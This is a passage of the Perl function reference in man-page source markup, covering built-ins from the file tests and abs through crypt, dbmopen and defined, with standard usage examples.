or \f(CW\*(C`\-B\*(C'\fR is used on a filehandle, the current \s-1IO\s0 buffer is examined
rather than the first block. Both \f(CW\*(C`\-T\*(C'\fR and \f(CW\*(C`\-B\*(C'\fR return true on a null
file, or a file at \s-1EOF\s0 when testing a filehandle. Because you have to
read a file to do the \f(CW\*(C`\-T\*(C'\fR test, on most occasions you want to use a \f(CW\*(C`\-f\*(C'\fR
against the file first, as in \f(CW\*(C`next unless \-f $file && \-T $file\*(C'\fR.
.Sp
If any of the file tests (or either the \f(CW\*(C`stat\*(C'\fR or \f(CW\*(C`lstat\*(C'\fR operators) are given
the special filehandle consisting of a solitary underline, then the stat
structure of the previous file test (or stat operator) is used, saving
a system call. (This doesn't work with \f(CW\*(C`\-t\*(C'\fR, and you need to remember
that \fIlstat()\fR and \f(CW\*(C`\-l\*(C'\fR will leave values in the stat structure for the
symbolic link, not the real file.) (Also, if the stat buffer was filled by
a \f(CW\*(C`lstat\*(C'\fR call, \f(CW\*(C`\-T\*(C'\fR and \f(CW\*(C`\-B\*(C'\fR will reset it with the results of \f(CW\*(C`stat _\*(C'\fR).
Example:
.Sp
.Vb 1
\& print "Can do.\en" if -r $a || -w _ || -x _;
.Ve
.Sp
.Vb 9
\& stat($filename);
\& print "Readable\en" if -r _;
\& print "Writable\en" if -w _;
\& print "Executable\en" if -x _;
\& print "Setuid\en" if -u _;
\& print "Setgid\en" if -g _;
\& print "Sticky\en" if -k _;
\& print "Text\en" if -T _;
\& print "Binary\en" if -B _;
.Ve
.IP "abs \s-1VALUE\s0" 8
.IX Item "abs VALUE"
.PD 0
.IP "abs" 8
.IX Item "abs"
.PD
Returns the absolute value of its argument.
If \s-1VALUE\s0 is omitted, uses \f(CW$_\fR.
.IP "accept \s-1NEWSOCKET\s0,GENERICSOCKET" 8
.IX Item "accept NEWSOCKET,GENERICSOCKET"
Accepts an incoming socket connect, just as the \fIaccept\fR\|(2) system call
does. Returns the packed address if it succeeded, false otherwise.
See the example in \*(L"Sockets: Client/Server Communication\*(R" in perlipc.
.Sp
On systems that support a close-on-exec flag on files, the flag will
be set for the newly opened file descriptor, as determined by the
value of $^F. See \*(L"$^F\*(R" in perlvar.
.IP "alarm \s-1SECONDS\s0" 8
.IX Item "alarm SECONDS"
.PD 0
.IP "alarm" 8
.IX Item "alarm"
.PD
Arranges to have a \s-1SIGALRM\s0 delivered to this process after the
specified number of wallclock seconds have elapsed. If \s-1SECONDS\s0 is not
specified, the value stored in \f(CW$_\fR is used. (On some machines,
unfortunately, the elapsed time may be up to one second less or more
than you specified because of how seconds are counted, and process
scheduling may delay the delivery of the signal even further.)
.Sp
Only one timer may be counting at once. Each call disables the
previous timer, and an argument of \f(CW0\fR may be supplied to cancel the
previous timer without starting a new one. The returned value is the
amount of time remaining on the previous timer.
.Sp
For delays of finer granularity than one second, you may use Perl's
four-argument version of \fIselect()\fR leaving the first three arguments
undefined, or you might be able to use the \f(CW\*(C`syscall\*(C'\fR interface to
access \fIsetitimer\fR\|(2) if your system supports it. The Time::HiRes
module (from \s-1CPAN\s0, and starting from Perl 5.8 part of the standard
distribution) may also prove useful.
.Sp
It is usually a mistake to intermix \f(CW\*(C`alarm\*(C'\fR and \f(CW\*(C`sleep\*(C'\fR calls.
(\f(CW\*(C`sleep\*(C'\fR may be internally implemented in your system with \f(CW\*(C`alarm\*(C'\fR)
.Sp
If you want to use \f(CW\*(C`alarm\*(C'\fR to time out a system call you need to use an
\&\f(CW\*(C`eval\*(C'\fR/\f(CW\*(C`die\*(C'\fR pair. You can't rely on the alarm causing the system call to
fail with \f(CW$!\fR set to \f(CW\*(C`EINTR\*(C'\fR because Perl sets up signal handlers to
restart system calls on some systems. Using \f(CW\*(C`eval\*(C'\fR/\f(CW\*(C`die\*(C'\fR always works,
modulo the caveats given in \*(L"Signals\*(R" in perlipc.
.Sp
.Vb 13
\& eval {
\& local $SIG{ALRM} = sub { die "alarm\en" }; # NB: \en required
\& alarm $timeout;
\& $nread = sysread SOCKET, $buffer, $size;
\& alarm 0;
\& };
\& if ($@) {
\& die unless $@ eq "alarm\en"; # propagate unexpected errors
\& # timed out
\& }
\& else {
\& # didn't
\& }
.Ve
.Sp
For more information see perlipc.
.IP "atan2 Y,X" 8
.IX Item "atan2 Y,X"
Returns the arctangent of Y/X in the range \-PI to \s-1PI\s0.
.Sp
For the tangent operation, you may use the \f(CW\*(C`Math::Trig::tan\*(C'\fR
function, or use the familiar relation:
.Sp
.Vb 1
\& sub tan { sin($_[0]) / cos($_[0]) }
.Ve
.IP "bind \s-1SOCKET\s0,NAME" 8
.IX Item "bind SOCKET,NAME"
Binds a network address to a socket, just as the bind system call
does. Returns true if it succeeded, false otherwise. \s-1NAME\s0 should be a
packed address of the appropriate type for the socket. See the examples in
\&\*(L"Sockets: Client/Server Communication\*(R" in perlipc.
.IP "binmode \s-1FILEHANDLE\s0, \s-1LAYER\s0" 8
.IX Item "binmode FILEHANDLE, LAYER"
.PD 0
.IP "binmode \s-1FILEHANDLE\s0" 8
.IX Item "binmode FILEHANDLE"
.PD
Arranges for \s-1FILEHANDLE\s0 to be read or written in \*(L"binary\*(R" or \*(L"text\*(R"
mode on systems where the run-time libraries distinguish between
binary and text files. If \s-1FILEHANDLE\s0 is an expression, the value is
taken as the name of the filehandle. Returns true on success,
otherwise it returns \f(CW\*(C`undef\*(C'\fR and sets \f(CW$!\fR (errno).
.Sp
On some systems (in general, \s-1DOS\s0 and Windows-based systems) \fIbinmode()\fR
is necessary when you're not working with a text file. For the sake
of portability it is a good idea to always use it when appropriate,
and to never use it when it isn't appropriate. Also, people can
set their I/O to be by default \s-1UTF\-8\s0 encoded Unicode, not bytes.
.Sp
In other words: regardless of platform, use \fIbinmode()\fR on binary data,
like for example images.
.Sp
If \s-1LAYER\s0 is present it is a single string, but may contain multiple
directives. The directives alter the behaviour of the file handle.
When \s-1LAYER\s0 is present using binmode on text file makes sense.
.Sp
If \s-1LAYER\s0 is omitted or specified as \f(CW\*(C`:raw\*(C'\fR the filehandle is made
suitable for passing binary data. This includes turning off possible \s-1CRLF\s0
translation and marking it as bytes (as opposed to Unicode characters).
Note that as despite what may be implied in \fI\*(L"Programming Perl\*(R"\fR
(the Camel) or elsewhere \f(CW\*(C`:raw\*(C'\fR is \fInot\fR the simply inverse of \f(CW\*(C`:crlf\*(C'\fR
\&\*(-- other layers which would affect binary nature of the stream are
\&\fIalso\fR disabled. See PerlIO, perlrun and the discussion about the
\&\s-1PERLIO\s0 environment variable.
.Sp
The \f(CW\*(C`:bytes\*(C'\fR, \f(CW\*(C`:crlf\*(C'\fR, and \f(CW\*(C`:utf8\*(C'\fR, and any other directives of the
form \f(CW\*(C`:...\*(C'\fR, are called I/O \fIlayers\fR. The \f(CW\*(C`open\*(C'\fR pragma can be used to
establish default I/O layers. See open.
.Sp
\&\fIThe \s-1LAYER\s0 parameter of the \fIbinmode()\fI function is described as \*(L"\s-1DISCIPLINE\s0\*(R"
in \*(L"Programming Perl, 3rd Edition\*(R". However, since the publishing of this
book, by many known as \*(L"Camel \s-1III\s0\*(R", the consensus of the naming of this
functionality has moved from \*(L"discipline\*(R" to \*(L"layer\*(R". All documentation
of this version of Perl therefore refers to \*(L"layers\*(R" rather than to
\&\*(L"disciplines\*(R". Now back to the regularly scheduled documentation...\fR
.Sp
To mark \s-1FILEHANDLE\s0 as \s-1UTF\-8\s0, use \f(CW\*(C`:utf8\*(C'\fR.
.Sp
In general, \fIbinmode()\fR should be called after \fIopen()\fR but before any I/O
is done on the filehandle. Calling \fIbinmode()\fR will normally flush any
pending buffered output data (and perhaps pending input data) on the
handle. An exception to this is the \f(CW\*(C`:encoding\*(C'\fR layer that
changes the default character encoding of the handle, see open.
The \f(CW\*(C`:encoding\*(C'\fR layer sometimes needs to be called in
mid\-stream, and it doesn't flush the stream. The \f(CW\*(C`:encoding\*(C'\fR
also implicitly pushes on top of itself the \f(CW\*(C`:utf8\*(C'\fR layer because
internally Perl will operate on \s-1UTF\-8\s0 encoded Unicode characters.
.Sp
The operating system, device drivers, C libraries, and Perl run-time
system all work together to let the programmer treat a single
character (\f(CW\*(C`\en\*(C'\fR) as the line terminator, irrespective of the external
representation. On many operating systems, the native text file
representation matches the internal representation, but on some
platforms the external representation of \f(CW\*(C`\en\*(C'\fR is made up of more than
one character.
.Sp
Mac \s-1OS\s0, all variants of Unix, and Stream_LF files on \s-1VMS\s0 use a single
character to end each line in the external representation of text (even
though that single character is \s-1CARRIAGE\s0 \s-1RETURN\s0 on Mac \s-1OS\s0 and \s-1LINE\s0 \s-1FEED\s0
on Unix and most \s-1VMS\s0 files). In other systems like \s-1OS/2\s0, \s-1DOS\s0 and the
various flavors of MS-Windows your program sees a \f(CW\*(C`\en\*(C'\fR as a simple \f(CW\*(C`\ecJ\*(C'\fR,
but what's stored in text files are the two characters \f(CW\*(C`\ecM\ecJ\*(C'\fR. That
means that, if you don't use \fIbinmode()\fR on these systems, \f(CW\*(C`\ecM\ecJ\*(C'\fR
sequences on disk will be converted to \f(CW\*(C`\en\*(C'\fR on input, and any \f(CW\*(C`\en\*(C'\fR in
your program will be converted back to \f(CW\*(C`\ecM\ecJ\*(C'\fR on output. This is what
you want for text files, but it can be disastrous for binary files.
.Sp
Another consequence of using \fIbinmode()\fR (on some systems) is that
special end-of-file markers will be seen as part of the data stream.
For systems from the Microsoft family this means that if your binary
data contains \f(CW\*(C`\ecZ\*(C'\fR, the I/O subsystem will regard it as the end of
the file, unless you use \fIbinmode()\fR.
.Sp
\&\fIbinmode()\fR is not only important for \fIreadline()\fR and \fIprint()\fR operations,
but also when using \fIread()\fR, \fIseek()\fR, \fIsysread()\fR, \fIsyswrite()\fR and \fItell()\fR
(see perlport for more details). See the \f(CW$/\fR and \f(CW\*(C`$\e\*(C'\fR variables
in perlvar for how to manually set your input and output
line-termination sequences.
.IP "bless \s-1REF\s0,CLASSNAME" 8
.IX Item "bless REF,CLASSNAME"
.PD 0
.IP "bless \s-1REF\s0" 8
.IX Item "bless REF"
.PD
This function tells the thingy referenced by \s-1REF\s0 that it is now an object
in the \s-1CLASSNAME\s0 package. If \s-1CLASSNAME\s0 is omitted, the current package
is used. Because a \f(CW\*(C`bless\*(C'\fR is often the last thing in a constructor,
it returns the reference for convenience. Always use the two-argument
version if the function doing the blessing might be inherited by a
derived class. See perltoot and perlobj for more about the blessing
(and blessings) of objects.
.Sp
Consider always blessing objects in CLASSNAMEs that are mixed case.
Namespaces with all lowercase names are considered reserved for
Perl pragmata. Builtin types have all uppercase names, so to prevent
confusion, you may wish to avoid such package names as well. Make sure
that \s-1CLASSNAME\s0 is a true value.
.Sp
See \*(L"Perl Modules\*(R" in perlmod.
.IP "caller \s-1EXPR\s0" 8
.IX Item "caller EXPR"
.PD 0
.IP "caller" 8
.IX Item "caller"
.PD
Returns the context of the current subroutine call. In scalar context,
returns the caller's package name if there is a caller, that is, if
we're in a subroutine or \f(CW\*(C`eval\*(C'\fR or \f(CW\*(C`require\*(C'\fR, and the undefined value
otherwise. In list context, returns
.Sp
.Vb 1
\& ($package, $filename, $line) = caller;
.Ve
.Sp
With \s-1EXPR\s0, it returns some extra information that the debugger uses to
print a stack trace. The value of \s-1EXPR\s0 indicates how many call frames
to go back before the current one.
.Sp
.Vb 2
\& ($package, $filename, $line, $subroutine, $hasargs,
\& $wantarray, $evaltext, $is_require, $hints, $bitmask) = caller($i);
.Ve
.Sp
Here \f(CW$subroutine\fR may be \f(CW\*(C`(eval)\*(C'\fR if the frame is not a subroutine
call, but an \f(CW\*(C`eval\*(C'\fR. In such a case additional elements \f(CW$evaltext\fR and
\&\f(CW$is_require\fR are set: \f(CW$is_require\fR is true if the frame is created by a
\&\f(CW\*(C`require\*(C'\fR or \f(CW\*(C`use\*(C'\fR statement, \f(CW$evaltext\fR contains the text of the
\&\f(CW\*(C`eval EXPR\*(C'\fR statement. In particular, for an \f(CW\*(C`eval BLOCK\*(C'\fR statement,
\&\f(CW$filename\fR is \f(CW\*(C`(eval)\*(C'\fR, but \f(CW$evaltext\fR is undefined. (Note also that
each \f(CW\*(C`use\*(C'\fR statement creates a \f(CW\*(C`require\*(C'\fR frame inside an \f(CW\*(C`eval EXPR\*(C'\fR
frame.) \f(CW$subroutine\fR may also be \f(CW\*(C`(unknown)\*(C'\fR if this particular
subroutine happens to have been deleted from the symbol table.
\&\f(CW$hasargs\fR is true if a new instance of \f(CW@_\fR was set up for the frame.
\&\f(CW$hints\fR and \f(CW$bitmask\fR contain pragmatic hints that the caller was
compiled with. The \f(CW$hints\fR and \f(CW$bitmask\fR values are subject to change
between versions of Perl, and are not meant for external use.
.Sp
Furthermore, when called from within the \s-1DB\s0 package, caller returns more
detailed information: it sets the list variable \f(CW@DB::args\fR to be the
arguments with which the subroutine was invoked.
.Sp
Be aware that the optimizer might have optimized call frames away before
\&\f(CW\*(C`caller\*(C'\fR had a chance to get the information. That means that \f(CWcaller(N)\fR
might not return information about the call frame you expect it do, for
\&\f(CW\*(C`N > 1\*(C'\fR. In particular, \f(CW@DB::args\fR might have information from the
previous time \f(CW\*(C`caller\*(C'\fR was called.
.IP "chdir \s-1EXPR\s0" 8
.IX Item "chdir EXPR"
Changes the working directory to \s-1EXPR\s0, if possible. If \s-1EXPR\s0 is omitted,
changes to the directory specified by \f(CW$ENV{HOME}\fR, if set; if not,
changes to the directory specified by \f(CW$ENV{LOGDIR}\fR. (Under \s-1VMS\s0, the
variable \f(CW$ENV{SYS$LOGIN}\fR is also checked, and used if it is set.) If
neither is set, \f(CW\*(C`chdir\*(C'\fR does nothing. It returns true upon success,
false otherwise. See the example under \f(CW\*(C`die\*(C'\fR.
.IP "chmod \s-1LIST\s0" 8
.IX Item "chmod LIST"
Changes the permissions of a list of files. The first element of the
list must be the numerical mode, which should probably be an octal
number, and which definitely should \fInot\fR a string of octal digits:
\&\f(CW0644\fR is okay, \f(CW'0644'\fR is not. Returns the number of files
successfully changed. See also \*(L"oct\*(R", if all you have is a string.
.Sp
.Vb 6
\& $cnt = chmod 0755, 'foo', 'bar';
\& chmod 0755, @executables;
\& $mode = '0644'; chmod $mode, 'foo'; # !!! sets mode to
\& # --w----r-T
\& $mode = '0644'; chmod oct($mode), 'foo'; # this is better
\& $mode = 0644; chmod $mode, 'foo'; # this is best
.Ve
.Sp
You can also import the symbolic \f(CW\*(C`S_I*\*(C'\fR constants from the Fcntl
module:
.Sp
.Vb 1
\& use Fcntl ':mode';
.Ve
.Sp
.Vb 2
\& chmod S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH, @executables;
\& # This is identical to the chmod 0755 of the above example.
.Ve
.IP "chomp \s-1VARIABLE\s0" 8
.IX Item "chomp VARIABLE"
.PD 0
.IP "chomp( \s-1LIST\s0 )" 8
.IX Item "chomp( LIST )"
.IP "chomp" 8
.IX Item "chomp"
.PD
This safer version of \*(L"chop\*(R" removes any trailing string
that corresponds to the current value of \f(CW$/\fR (also known as
\&\f(CW$INPUT_RECORD_SEPARATOR\fR in the \f(CW\*(C`English\*(C'\fR module). It returns the total
number of characters removed from all its arguments. It's often used to
remove the newline from the end of an input record when you're worried
that the final record may be missing its newline. When in paragraph
mode (\f(CW\*(C`$/ = ""\*(C'\fR), it removes all trailing newlines from the string.
When in slurp mode (\f(CW\*(C`$/ = undef\*(C'\fR) or fixed-length record mode (\f(CW$/\fR is
a reference to an integer or the like, see perlvar) \fIchomp()\fR won't
remove anything.
If \s-1VARIABLE\s0 is omitted, it chomps \f(CW$_\fR. Example:
.Sp
.Vb 5
\& while (<>) {
\& chomp; # avoid \en on last field
\& @array = split(/:/);
\& # ...
\& }
.Ve
.Sp
If \s-1VARIABLE\s0 is a hash, it chomps the hash's values, but not its keys.
.Sp
You can actually chomp anything that's an lvalue, including an assignment:
.Sp
.Vb 2
\& chomp($cwd = `pwd`);
\& chomp($answer = <STDIN>);
.Ve
.Sp
If you chomp a list, each element is chomped, and the total number of
characters removed is returned.
.Sp
Note that parentheses are necessary when you're chomping anything
that is not a simple variable. This is because \f(CW\*(C`chomp $cwd = `pwd`;\*(C'\fR
is interpreted as \f(CW\*(C`(chomp $cwd) = `pwd`;\*(C'\fR, rather than as
\&\f(CW\*(C`chomp( $cwd = `pwd` )\*(C'\fR which you might expect. Similarly,
\&\f(CW\*(C`chomp $a, $b\*(C'\fR is interpreted as \f(CW\*(C`chomp($a), $b\*(C'\fR rather than
as \f(CW\*(C`chomp($a, $b)\*(C'\fR.
.IP "chop \s-1VARIABLE\s0" 8
.IX Item "chop VARIABLE"
.PD 0
.IP "chop( \s-1LIST\s0 )" 8
.IX Item "chop( LIST )"
.IP "chop" 8
.IX Item "chop"
.PD
Chops off the last character of a string and returns the character
chopped. It is much more efficient than \f(CW\*(C`s/.$//s\*(C'\fR because it neither
scans nor copies the string. If \s-1VARIABLE\s0 is omitted, chops \f(CW$_\fR.
If \s-1VARIABLE\s0 is a hash, it chops the hash's values, but not its keys.
.Sp
You can actually chop anything that's an lvalue, including an assignment.
.Sp
If you chop a list, each element is chopped. Only the value of the
last \f(CW\*(C`chop\*(C'\fR is returned.
.Sp
Note that \f(CW\*(C`chop\*(C'\fR returns the last character. To return all but the last
character, use \f(CW\*(C`substr($string, 0, \-1)\*(C'\fR.
.Sp
See also \*(L"chomp\*(R".
.IP "chown \s-1LIST\s0" 8
.IX Item "chown LIST"
Changes the owner (and group) of a list of files. The first two
elements of the list must be the \fInumeric\fR uid and gid, in that
order. A value of \-1 in either position is interpreted by most
systems to leave that value unchanged. Returns the number of files
successfully changed.
.Sp
.Vb 2
\& $cnt = chown $uid, $gid, 'foo', 'bar';
\& chown $uid, $gid, @filenames;
.Ve
.Sp
Here's an example that looks up nonnumeric uids in the passwd file:
.Sp
.Vb 4
\& print "User: ";
\& chomp($user = <STDIN>);
\& print "Files: ";
\& chomp($pattern = <STDIN>);
.Ve
.Sp
.Vb 2
\& ($login,$pass,$uid,$gid) = getpwnam($user)
\& or die "$user not in passwd file";
.Ve
.Sp
.Vb 2
\& @ary = glob($pattern); # expand filenames
\& chown $uid, $gid, @ary;
.Ve
.Sp
On most systems, you are not allowed to change the ownership of the
file unless you're the superuser, although you should be able to change
the group to any of your secondary groups. On insecure systems, these
restrictions may be relaxed, but this is not a portable assumption.
On \s-1POSIX\s0 systems, you can detect this condition this way:
.Sp
.Vb 2
\& use POSIX qw(sysconf _PC_CHOWN_RESTRICTED);
\& $can_chown_giveaway = not sysconf(_PC_CHOWN_RESTRICTED);
.Ve
.IP "chr \s-1NUMBER\s0" 8
.IX Item "chr NUMBER"
.PD 0
.IP "chr" 8
.IX Item "chr"
.PD
Returns the character represented by that \s-1NUMBER\s0 in the character set.
For example, \f(CW\*(C`chr(65)\*(C'\fR is \f(CW"A"\fR in either \s-1ASCII\s0 or Unicode, and
chr(0x263a) is a Unicode smiley face. Note that characters from 128
to 255 (inclusive) are by default not encoded in \s-1UTF\-8\s0 Unicode for
backward compatibility reasons (but see encoding).
.Sp
If \s-1NUMBER\s0 is omitted, uses \f(CW$_\fR.
.Sp
For the reverse, use \*(L"ord\*(R".
.Sp
Note that under the \f(CW\*(C`bytes\*(C'\fR pragma the \s-1NUMBER\s0 is masked to
the low eight bits.
.Sp
See perlunicode and encoding for more about Unicode.
.IP "chroot \s-1FILENAME\s0" 8
.IX Item "chroot FILENAME"
.PD 0
.IP "chroot" 8
.IX Item "chroot"
.PD
This function works like the system call by the same name: it makes the
named directory the new root directory for all further pathnames that
begin with a \f(CW\*(C`/\*(C'\fR by your process and all its children. (It doesn't
change your current working directory, which is unaffected.) For security
reasons, this call is restricted to the superuser. If \s-1FILENAME\s0 is
omitted, does a \f(CW\*(C`chroot\*(C'\fR to \f(CW$_\fR.
.IP "close \s-1FILEHANDLE\s0" 8
.IX Item "close FILEHANDLE"
.PD 0
.IP "close" 8
.IX Item "close"
.PD
Closes the file or pipe associated with the file handle, returning
true only if \s-1IO\s0 buffers are successfully flushed and closes the system
file descriptor. Closes the currently selected filehandle if the
argument is omitted.
.Sp
You don't have to close \s-1FILEHANDLE\s0 if you are immediately going to do
another \f(CW\*(C`open\*(C'\fR on it, because \f(CW\*(C`open\*(C'\fR will close it for you. (See
\&\f(CW\*(C`open\*(C'\fR.) However, an explicit \f(CW\*(C`close\*(C'\fR on an input file resets the line
counter (\f(CW$.\fR), while the implicit close done by \f(CW\*(C`open\*(C'\fR does not.
.Sp
If the file handle came from a piped open \f(CW\*(C`close\*(C'\fR will additionally
return false if one of the other system calls involved fails or if the
program exits with non-zero status. (If the only problem was that the
program exited non-zero \f(CW$!\fR will be set to \f(CW0\fR.) Closing a pipe
also waits for the process executing on the pipe to complete, in case you
want to look at the output of the pipe afterwards, and
implicitly puts the exit status value of that command into \f(CW$?\fR.
.Sp
Prematurely closing the read end of a pipe (i.e. before the process
writing to it at the other end has closed it) will result in a
\&\s-1SIGPIPE\s0 being delivered to the writer. If the other end can't
handle that, be sure to read all the data before closing the pipe.
.Sp
Example:
.Sp
.Vb 8
\& open(OUTPUT, '|sort >foo') # pipe to sort
\& or die "Can't start sort: $!";
\& #... # print stuff to output
\& close OUTPUT # wait for sort to finish
\& or warn $! ? "Error closing sort pipe: $!"
\& : "Exit status $? from sort";
\& open(INPUT, 'foo') # get sort's results
\& or die "Can't open 'foo' for input: $!";
.Ve
.Sp
\&\s-1FILEHANDLE\s0 may be an expression whose value can be used as an indirect
filehandle, usually the real filehandle name.
.IP "closedir \s-1DIRHANDLE\s0" 8
.IX Item "closedir DIRHANDLE"
Closes a directory opened by \f(CW\*(C`opendir\*(C'\fR and returns the success of that
system call.
.IP "connect \s-1SOCKET\s0,NAME" 8
.IX Item "connect SOCKET,NAME"
Attempts to connect to a remote socket, just as the connect system call
does. Returns true if it succeeded, false otherwise. \s-1NAME\s0 should be a
packed address of the appropriate type for the socket. See the examples in
\&\*(L"Sockets: Client/Server Communication\*(R" in perlipc.
.IP "continue \s-1BLOCK\s0" 8
.IX Item "continue BLOCK"
Actually a flow control statement rather than a function. If there is a
\&\f(CW\*(C`continue\*(C'\fR \s-1BLOCK\s0 attached to a \s-1BLOCK\s0 (typically in a \f(CW\*(C`while\*(C'\fR or
\&\f(CW\*(C`foreach\*(C'\fR), it is always executed just before the conditional is about to
be evaluated again, just like the third part of a \f(CW\*(C`for\*(C'\fR loop in C. Thus
it can be used to increment a loop variable, even when the loop has been
continued via the \f(CW\*(C`next\*(C'\fR statement (which is similar to the C \f(CW\*(C`continue\*(C'\fR
statement).
.Sp
\&\f(CW\*(C`last\*(C'\fR, \f(CW\*(C`next\*(C'\fR, or \f(CW\*(C`redo\*(C'\fR may appear within a \f(CW\*(C`continue\*(C'\fR
block. \f(CW\*(C`last\*(C'\fR and \f(CW\*(C`redo\*(C'\fR will behave as if they had been executed within
the main block. So will \f(CW\*(C`next\*(C'\fR, but since it will execute a \f(CW\*(C`continue\*(C'\fR
block, it may be more entertaining.
.Sp
.Vb 9
\& while (EXPR) {
\& ### redo always comes here
\& do_something;
\& } continue {
\& ### next always comes here
\& do_something_else;
\& # then back the top to re-check EXPR
\& }
\& ### last always comes here
.Ve
.Sp
Omitting the \f(CW\*(C`continue\*(C'\fR section is semantically equivalent to using an
empty one, logically enough. In that case, \f(CW\*(C`next\*(C'\fR goes directly back
to check the condition at the top of the loop.
.IP "cos \s-1EXPR\s0" 8
.IX Item "cos EXPR"
.PD 0
.IP "cos" 8
.IX Item "cos"
.PD
Returns the cosine of \s-1EXPR\s0 (expressed in radians). If \s-1EXPR\s0 is omitted,
takes cosine of \f(CW$_\fR.
.Sp
For the inverse cosine operation, you may use the \f(CW\*(C`Math::Trig::acos()\*(C'\fR
function, or use this relation:
.Sp
.Vb 1
\& sub acos { atan2( sqrt(1 - $_[0] * $_[0]), $_[0] ) }
.Ve
.IP "crypt \s-1PLAINTEXT\s0,SALT" 8
.IX Item "crypt PLAINTEXT,SALT"
Encrypts a string exactly like the \fIcrypt\fR\|(3) function in the C library
(assuming that you actually have a version there that has not been
extirpated as a potential munition). This can prove useful for checking
the password file for lousy passwords, amongst other things. Only the
guys wearing white hats should do this.
.Sp
Note that crypt is intended to be a one-way function, much like
breaking eggs to make an omelette. There is no (known) corresponding
decrypt function (in other words, the \fIcrypt()\fR is a one-way hash
function). As a result, this function isn't all that useful for
cryptography. (For that, see your nearby \s-1CPAN\s0 mirror.)
.Sp
When verifying an existing encrypted string you should use the
encrypted text as the salt (like \f(CW\*(C`crypt($plain, $crypted) eq
$crypted\*(C'\fR). This allows your code to work with the standard crypt
and with more exotic implementations. In other words, do not assume
anything about the returned string itself, or how many bytes in
the encrypted string matter.
.Sp
Traditionally the result is a string of 13 bytes: two first bytes of
the salt, followed by 11 bytes from the set \f(CW\*(C`[./0\-9A\-Za\-z]\*(C'\fR, and only
the first eight bytes of the encrypted string mattered, but
alternative hashing schemes (like \s-1MD5\s0), higher level security schemes
(like C2), and implementations on non-UNIX platforms may produce
different strings.
.Sp
When choosing a new salt create a random two character string whose
characters come from the set \f(CW\*(C`[./0\-9A\-Za\-z]\*(C'\fR (like \f(CW\*(C`join '', ('.',
\&'/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]\*(C'\fR). This set of
characters is just a recommendation; the characters allowed in
the salt depend solely on your system's crypt library, and Perl can't
restrict what salts \f(CW\*(C`crypt()\*(C'\fR accepts.
.Sp
Here's an example that makes sure that whoever runs this program knows
their own password:
.Sp
.Vb 1
\& $pwd = (getpwuid($<))[1];
.Ve
.Sp
.Vb 5
\& system "stty -echo";
\& print "Password: ";
\& chomp($word = <STDIN>);
\& print "\en";
\& system "stty echo";
.Ve
.Sp
.Vb 5
\& if (crypt($word, $pwd) ne $pwd) {
\& die "Sorry...\en";
\& } else {
\& print "ok\en";
\& }
.Ve
.Sp
Of course, typing in your own password to whoever asks you
for it is unwise.
.Sp
The crypt function is unsuitable for encrypting large quantities
of data, not least of all because you can't get the information
back. Look at the \fIby\-module/Crypt\fR and \fIby\-module/PGP\fR directories
on your favorite \s-1CPAN\s0 mirror for a slew of potentially useful
modules.
.Sp
If using \fIcrypt()\fR on a Unicode string (which \fIpotentially\fR has
characters with codepoints above 255), Perl tries to make sense
of the situation by trying to downgrade (a copy of the string)
the string back to an eight-bit byte string before calling \fIcrypt()\fR
(on that copy). If that works, good. If not, \fIcrypt()\fR dies with
\&\f(CW\*(C`Wide character in crypt\*(C'\fR.
.IP "dbmclose \s-1HASH\s0" 8
.IX Item "dbmclose HASH"
[This function has been largely superseded by the \f(CW\*(C`untie\*(C'\fR function.]
.Sp
Breaks the binding between a \s-1DBM\s0 file and a hash.
.IP "dbmopen \s-1HASH\s0,DBNAME,MASK" 8
.IX Item "dbmopen HASH,DBNAME,MASK"
[This function has been largely superseded by the \f(CW\*(C`tie\*(C'\fR function.]
.Sp
This binds a \fIdbm\fR\|(3), \fIndbm\fR\|(3), \fIsdbm\fR\|(3), \fIgdbm\fR\|(3), or Berkeley \s-1DB\s0 file to a
hash. \s-1HASH\s0 is the name of the hash. (Unlike normal \f(CW\*(C`open\*(C'\fR, the first
argument is \fInot\fR a filehandle, even though it looks like one). \s-1DBNAME\s0
is the name of the database (without the \fI.dir\fR or \fI.pag\fR extension if
any). If the database does not exist, it is created with protection
specified by \s-1MASK\s0 (as modified by the \f(CW\*(C`umask\*(C'\fR). If your system supports
only the older \s-1DBM\s0 functions, you may perform only one \f(CW\*(C`dbmopen\*(C'\fR in your
program. In older versions of Perl, if your system had neither \s-1DBM\s0 nor
ndbm, calling \f(CW\*(C`dbmopen\*(C'\fR produced a fatal error; it now falls back to
\&\fIsdbm\fR\|(3).
.Sp
If you don't have write access to the \s-1DBM\s0 file, you can only read hash
variables, not set them. If you want to test whether you can write,
either use file tests or try setting a dummy hash entry inside an \f(CW\*(C`eval\*(C'\fR,
which will trap the error.
.Sp
Note that functions such as \f(CW\*(C`keys\*(C'\fR and \f(CW\*(C`values\*(C'\fR may return huge lists
when used on large \s-1DBM\s0 files. You may prefer to use the \f(CW\*(C`each\*(C'\fR
function to iterate over large \s-1DBM\s0 files. Example:
.Sp
.Vb 6
\& # print out history file offsets
\& dbmopen(%HIST,'/usr/lib/news/history',0666);
\& while (($key,$val) = each %HIST) {
\& print $key, ' = ', unpack('L',$val), "\en";
\& }
\& dbmclose(%HIST);
.Ve
.Sp
See also AnyDBM_File for a more general description of the pros and
cons of the various dbm approaches, as well as DB_File for a particularly
rich implementation.
.Sp
You can control which \s-1DBM\s0 library you use by loading that library
before you call \fIdbmopen()\fR:
.Sp
.Vb 3
\& use DB_File;
\& dbmopen(%NS_Hist, "$ENV{HOME}/.netscape/history.db")
\& or die "Can't open netscape history file: $!";
.Ve
.IP "defined \s-1EXPR\s0" 8
.IX Item "defined EXPR"
.PD 0
.IP "defined" 8
.IX Item "defined"
.PD
Returns a Boolean value telling whether \s-1EXPR\s0 has a value other than
the undefined value \f(CW\*(C`undef\*(C'\fR. If \s-1EXPR\s0 is not present, \f(CW$_\fR will be
checked.
.Sp
Many operations return \f(CW\*(C`undef\*(C'\fR to indicate failure, end of file,
system error, uninitialized variable, and other exceptional
conditions. This function allows you to distinguish \f(CW\*(C`undef\*(C'\fR from
other values. (A simple Boolean test will not distinguish among
\&\f(CW\*(C`undef\*(C'\fR, zero, the empty string, and \f(CW"0"\fR, which are all equally
false.) Note that since \f(CW\*(C`undef\*(C'\fR is a valid scalar, its presence
doesn't \fInecessarily\fR indicate an exceptional condition: \f(CW\*(C`pop\*(C'\fR
returns \f(CW\*(C`undef\*(C'\fR when its argument is an empty array, \fIor\fR when the
element to return happens to be \f(CW\*(C`undef\*(C'\fR.
.Sp
